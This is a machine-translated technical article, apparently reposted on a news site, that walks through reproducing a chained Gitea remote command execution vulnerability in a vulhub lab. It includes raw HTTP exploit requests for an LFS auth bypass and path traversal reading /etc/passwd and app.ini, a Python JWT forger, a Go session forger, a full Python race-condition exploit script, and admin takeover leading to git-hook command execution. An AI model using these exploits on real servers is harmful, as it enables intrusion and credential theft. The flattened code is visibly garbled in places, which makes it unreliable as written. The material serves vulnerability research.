Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

What are the vulnerabilities of Gitea remote command execution in Go code audit

2025-01-16 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

This article mainly shows you the "Go code audit Gitea remote command execution vulnerabilities", the content is easy to understand, clear, hope to help you solve doubts, the following let the editor lead you to study and learn "Go code audit Gitea remote command execution vulnerabilities" this article.

Loophole 1. Logic errors lead to permission bypass.

This is the trigger for this leak chain, which appears in the processing logic of Git LFS.

Git LFS is the storage container set by Git for large files, which we can understand to mean that he stores the real file outside the git repository, while the git repository stores only the index of the file (a hash). In this way, there is no such file in the git objects and .git folders, and the file is stored on the git server. As a git server, gitea also provides LFS function.

In the modules/lfs/server.go file, PostHandler is the function that handles the POST request:

As you can see, the middle part contains a check for permissions:

If! authenticate (ctx, repository, rv.Authorization, true) {requireAuth (ctx)}

Without permission, only the requireAuth function is executed: this function does two things, one is to write the WWW-Authenticate header, and the other is to set the status code to 401. That is, the execution of the PostHandler function is not stopped without permission.

So, there is a permission bypass vulnerability.

Vulnerabilities II. Directory traversal vulnerabilities

The consequence of this privilege bypassing the vulnerability is that any unauthorized user can create a Git LFS object for a project (followed by vulhub/repo as an example).

This LFS object can be accessed through an interface such as http://example.com/vulhub/repo.git/info/lfs/objects/[oid], such as downloading, writing content, and so on. Where [oid] is the ID of the LFS object, which is usually a hash, but there is no restriction on the characters allowed in this ID in gitea, which is the root cause of the second vulnerability.

We take advantage of the first vulnerability by sending a packet to create a LFS object with an Oid of. /.. /.. / etc/passwd:

POST / vulhub/repo.git/info/lfs/objects HTTP/1.1Host: your-ip:3000Accept-Encoding: gzip, deflateAccept: application/vnd.git-lfs+jsonAccept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64 Trident/5.0) Connection: closeContent-Type: application/jsonContent-Length: 151{ "Oid": ". /.. /.. / etc/passwd", "Size": 1000000, "User": "a", "Password": "a", "Repo": "a", "Authorization": "a"}

Among them, vulhub/repo is an open project.

In other words, the exploitation of this vulnerability is conditional, and the first condition is that there needs to be a public project. Why? Although the "create LFS object" interface has permission to bypass vulnerabilities, the "read the file represented by this object" interface has no vulnerability and will first check whether you have permission to access the project in which the LFS object is located. Only public items have permission to read.

As shown in the figure below, although the 401 status code is returned after sending the packet, the LFS object has actually been created successfully, and its Oid is. /.. /.. / etc/passwd.

The second step is to access this object. The access method is the GET request http://example.com/vulhub/repo.git/info/lfs/objects/[oid]/sth http://example.com/vulhub/repo.git/info/lfs/objects/[oid]/sth ID, which is just specified, and is encoded in url here.

See the following figure, / etc/passwd has been read successfully:

So, let's see why the / etc/passwd file was read.

Code modules/lfs/content_store.go:

It can be seen that meta.Oid is passed into the transformKey function, which converts Oid into key [0:2] / key [2:4] / key [4:], with the first two characters and the middle two characters as the directory name, and the content after the fourth character as the file name.

So, the Oid I created is. /.. /.. / etc/passwd, after the transformKey function, it becomes.. / etc/passwd,s.BasePath is the base directory of the LFS object, and the two are spliced together to naturally read the / etc/passwd file.

This is the second loophole: directory traversal.

Loophole 3. Read configuration files and construct JWT ciphertext

Although vulhub/repo is a public project, it only has read permissions by default. We need to make further use of it.

We take advantage of the directory traversal vulnerability to read the configuration file of gitea. This file is the root directory of gitea in $GITEA_CUSTOM/conf/app.ini,$GITEA_CUSTOM, and / var/lib/gitea/, is / data/gitea by default in vulhub.

So, to leap from LFS's directory to $GITEA_CUSTOM/conf/app.ini, the Oid you need to construct is. Gitea/conf/app.ini (transformed into / data/gitea/lfs/../../gitea/conf/app.ini, that is, / data/gitea/conf/app.ini. The POC given by the original vulnerability author has a hole, and this Oid needs to be adjusted according to the setting of different $GITEA_CUSTOM. )

Successfully read the configuration file (you still need to send the POST package to create a LFS object with an Oid of.... gitea/conf/app.ini):

There is a lot of sensitive information in the configuration file, such as database account password, some Token and so on. If it is a sqlite database, we can even download it directly. Of course, the password is added with salt.

In Gitea, the interface of LFS uses JWT authentication, and its encryption key is the LFS_JWT_SECRET in the configuration file. So, here we can use it to construct JWT authentication and then get full read and write access to LFS.

We use python to generate ciphertext:

Import jwtimport timeimport base64def decode_base64 (data): missing_padding = len (data)% 4 if missing_padding! = 0: data + ='='* (4-missing_padding) return base64.urlsafe_b64decode (data) jwt_secret = decode_base64 ('oUsPAAkeic6HaBMHPiTVHxTeCrEDc29sL6f0JuVp73c') public_user_id = 1public_repo_id = int (time.time ())-(60,60,24,1000) exp = int (time.time ()) + (60*) 60 / 24 / 1000) token = jwt.encode ({'user': public_user_id 'repo': public_repo_id,' op': 'upload',' exp': exp, 'nbf': nbf}, jwt_secret, algorithm='HS256') token = token.decode () print (token)

Where jwt_secret is the key read in the second vulnerability; public_user_id is the project owner's id,public_repo_id is the project id, which refers to the project where LFS is located; nbf refers to the start time of the ciphertext, and exp is the end time of the ciphertext. This ciphertext is valid only if the current time is within these two values.

Loophole 4. Take advantage of conditional competition to write arbitrary files.

Now we can construct the ciphertext of JWT, that is, access to the write file interface in LFS, that is, PutHandler.

The PUT operation is mainly based on the following code:

The whole process is organized as follows:

1.transformKey (meta.Oid) + .tmp suffix as temporary file name

two。 If the directory does not exist, create the directory

3. Write the content passed in by the user to a temporary file

4. If the file size does not match the meta.Size, an error is returned (meta.size is the Size parameter passed in when the LFS was created in the first step)

5. If the file hash and meta.Oid do not match, an error is returned

6. Rename a temporary file to a real file name

Because we need to write to any file, Oid must be a malicious string that can be traversed to other directories, while the sha256 of a file is just a HEX string. So step 5 above is bound to fail and lead to exit, so it's impossible to go to step 6. That is, we can only write to a temporary file with the suffix ".tmp".

In addition, the author uses the syntax of defer os.Remove (tmpPath). In the go language, defer represents the action performed when the function returns, that is, the temporary file is deleted at the end, regardless of whether the function returns an error or not.

So, what we need to solve are two problems:

1. Can write a .tmp suffix file, how to use?

two。 How do I keep this file from being deleted until it is successfully utilized?

Let's think about the second question first. The method given by the vulnerability discoverer is to take advantage of conditional competition.

Because gitea uses streaming to read packets and write the read to a temporary file, we can use streaming HTTP to pass in the contents of the file we need to write, and then suspend the HTTP connection. At this point, the backend will be waiting for me to pass the rest of the characters. During this time difference, the Put function is waiting at the io.Copy step, and of course the temporary files will not be deleted.

So, think about the first question, what can we do with temporary files with the suffix .tmp?

Loophole 5. Falsify session to upgrade privileges

At its simplest, we can write a crontab configuration file to / etc/cron.d/, and then bounce back to get shell. But usually gitea doesn't run under root permissions, so we need to think about other ways.

Gitea uses go-macaron/session, a third-party module, to manage session, and files are used as session storage containers by default. Let's read the go-macaron/session source code:

Here are a few important points:

The 1.session file is named sid [0] / sid [1] / sid

two。 The object is serialized with Gob and saved to a file

Gob is a serialization method unique to the Go language. We can write a Go language program to generate a Gob-encoded session:

Package mainimport ("fmt"encoding/gob"bytes"encoding/hex") func EncodeGob (obj map [interface {}] interface {}) ([] byte, error) {for _, v: = range obj {gob.Register (v)} buf: = bytes.NewBuffer (nil) err: = gob.NewEncoder (buf) .Encode (obj) return buf.Bytes () Err} func main () {var uid int64 = 1 obj: = map [interface {}] interface {} {"_ old_uid": "1", "uid": uid, "uname": "vulhub"} data, err: = EncodeGob (obj) if err! = nil {fmt.Println (err)} edata: = hex.EncodeToString (data) fmt.Println (edata)}

Where {"_ old_iod": "1", "uid": uid, "uname": "vulhub"} is the data in session, and uid is the administrator id,uname is the administrator user name. Compile and execute the above code to get a string of hex, which is forged data.

The POC given by the original author is a binary file generated by him, and uid and uname cannot be customized.

Next, I wrote a simple Python script for subsequent use (which requires Python3.6):

Import requestsimport jwtimport timeimport base64import loggingimport sysimport jsonfrom urllib.parse import quotelogging.basicConfig (stream=sys.stdout Level=logging.DEBUG) BASE_URL = 'http://your-ip:3000/vulhub/repo'JWT_SECRET =' AzDE6jvaOhh_u30cmkbEqmOdl8h44zOyxfqcieuAu9Y'USER_ID = 1REPO_ID = 1SESSION_ID = '11vulhub'SESSION_DATA = bytes.fromhex (' 0eff81040102ff82000110011000005cff8200037472696e670c0a00085f6c45f756964037472696e670c0300013106767472696e670c05000375696e7436340402000206737472696e616d65067472696e670c08000766c687562') def generate_token (): def decode_base64 (data): missing_padding = len (data)% if missing_padding! 0: data + ='='* (4-missing_) Padding) return base64.urlsafe_b64decode (data) nbf = int (time.time ())-(60,60,24,1000) exp = int (time.time ()) + (60,60,24,1000) token = jwt.encode ({'user': USER_ID) 'repo': REPO_ID,' op': 'upload',' exp': exp, 'nbf': nbf}, decode_base64 (JWT_SECRET) Algorithm='HS256') return token.decode () def gen_data (): yield SESSION_DATA time.sleep (300) yield b''OID = f'....gitea/sessions/ {SESSION_ID [0]} / {SESSION_ID [1]} / {SESSION_ID} 'response = requests.post (f' {BASE_URL} .git / info/lfs/objects', headers= {'Accept':' application/vnd.git-lfs+json'}, json= {"Oid": OID "Size": 100000, "User": "a", "Password": "a", "Repo": "a", "Authorization": "a"}) logging.info (response.text) response = requests.put (f "{BASE_URL} .git / info/lfs/objects/ {quote (OID, safe='')}", data=gen_data (), headers= {'Accept':' application/vnd.git-lfs' 'Content-Type':' application/vnd.git-lfs', 'Authorization': f'Bearer {generate_token ()}'})

This script sends fake SESSION data and waits for 300 seconds before closing the connection. In those 300 seconds, there will be a file called "11vulhub.tmp" on the server, which is also session id.

With this session id, you can be promoted to administrator.

Loophole 6. Use HOOK to execute arbitrary commands

With the Cookie of i_like_gitea=11vulhub.tmp, we can access the administrator account.

Then find any project and configure the Git hook in the settings. The Git hook is a script that is automatically executed when the git command is executed. For example, the pre-receive hook I use here is a script that will be executed before commit. I added the command touch / tmp/success to be executed:

Then create a new file on the web side and click submit. Enter the docker container and you can see that the command has been executed successfully:

Some thoughts

The whole leak chain is very smooth, and the code audit on the Go Web side is also very rare. in the case of fewer and fewer traditional vulnerabilities, these good ideas will bring many different breakthroughs to security researchers.

However, the POC given by the vulnerability author is so bad that it cannot be used without his own environment, and I do not recommend using an one-click vulnerability to reproduce this vulnerability, because the exploitation of this vulnerability involves some uncertainties, such as:

The $GITEA_CUSTOM of 1.gitea, which affects the POC that reads the app.ini

two。 The administrator's user name and ID, which may need to be guessed. But in fact, we do not have to forge the administrator's session, we can forge any user's session, and then enter the website to see if there are any projects created by the administrator, if so, we can know the administrator's user name.

In addition, he also encountered some holes when reproducing the vulnerability, for example, gitea was installed for the first time, and his session is stored in memory if it is not restarted. It is important to note that the file session is used only after the first restart.

If the target system uses sqlite to do the database, we can directly download its database and get his password hash and another random string, using these two values can actually directly forge the administrator's cookie (named gitea_incredible), I will not write this, you can check the document yourself.

These are all the contents of the article "what are the vulnerabilities in Go remote command execution in Gitea code audit?" Thank you for reading! I believe we all have a certain understanding, hope to share the content to help you, if you want to learn more knowledge, welcome to follow the industry information channel!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report